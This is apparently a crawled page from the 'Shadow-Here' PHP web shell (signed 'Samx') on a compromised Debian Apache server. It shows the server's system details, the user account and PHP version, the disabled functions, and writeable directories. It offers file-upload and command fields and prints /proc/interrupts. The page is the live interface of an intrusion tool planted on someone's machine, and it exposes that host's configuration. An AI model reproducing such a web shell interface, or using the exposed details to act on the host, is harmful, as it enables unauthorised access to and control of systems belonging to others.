Shadow-Here


Server : Apache
System : Linux methusalix2 3.16.0-11-amd64 #1 SMP Debian 3.16.84-1 (2020-06-09) x86_64
User : hios ( 1437)
PHP Version : 5.6.40-0+deb8u12
Disable Function : proc_close,proc_open,dl,shell_exec,passthru
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :
Current File : //proc/interrupts
           CPU0       CPU1       
  0:         36          0   IO-APIC-edge      timer
  1:         10          0   IO-APIC-edge      i8042
  6:          3          0   IO-APIC-edge      floppy
  8:          1          0   IO-APIC-edge      rtc0
  9:          0          0   IO-APIC-fasteoi   acpi
 11:         34          0   IO-APIC-fasteoi   uhci_hcd:usb1
 12:        144          0   IO-APIC-edge      i8042
 14:          0          0   IO-APIC-edge      ata_piix
 15:   19832029          0   IO-APIC-edge      ata_piix
 40:          0          0   PCI-MSI-edge      virtio0-config
 41:  201663053  135471787   PCI-MSI-edge      virtio0-requests
 42:          0          0   PCI-MSI-edge      virtio6-config
 43:  344991343  825418126   PCI-MSI-edge      virtio6-input.0
 44:       5054       7915   PCI-MSI-edge      virtio6-output.0
 45:          0          0   PCI-MSI-edge      virtio7-config
 46:  218586914  167353458   PCI-MSI-edge      virtio7-input.0
 47:       3761       2135   PCI-MSI-edge      virtio7-output.0
 48:          0          0   PCI-MSI-edge      virtio1-config
 49:   97053825   68151819   PCI-MSI-edge      virtio1-requests
 50:          0          0   PCI-MSI-edge      virtio2-config
 51:   82241606   57765541   PCI-MSI-edge      virtio2-requests
 52:          0          0   PCI-MSI-edge      virtio3-config
 53:   84246279   61346540   PCI-MSI-edge      virtio3-requests
 54:          0          0   PCI-MSI-edge      virtio4-config
 55:  105494868   74766705   PCI-MSI-edge      virtio4-requests
 56:          0          0   PCI-MSI-edge      virtio5-config
 57:        103          0   PCI-MSI-edge      virtio5-requests
NMI:     421151     426856   Non-maskable interrupts
LOC: 2471065013 2554265427   Local timer interrupts
SPU:          0          0   Spurious interrupts
PMI:     421151     426856   Performance monitoring interrupts
IWI:        140        400   IRQ work interrupts
RTR:          0          0   APIC ICR read retries
RES: 1886779779 1882738175   Rescheduling interrupts
CAL:   35083761   34376067   Function call interrupts
TLB:   32523668   31757975   TLB shootdowns
TRM:          0          0   Thermal event interrupts
THR:          0          0   Threshold APIC interrupts
MCE:          0          0   Machine check exceptions
MCP:      67694      67694   Machine check polls
HYP:          0          0   Hypervisor callback interrupts
ERR:          0
MIS:          0

Samx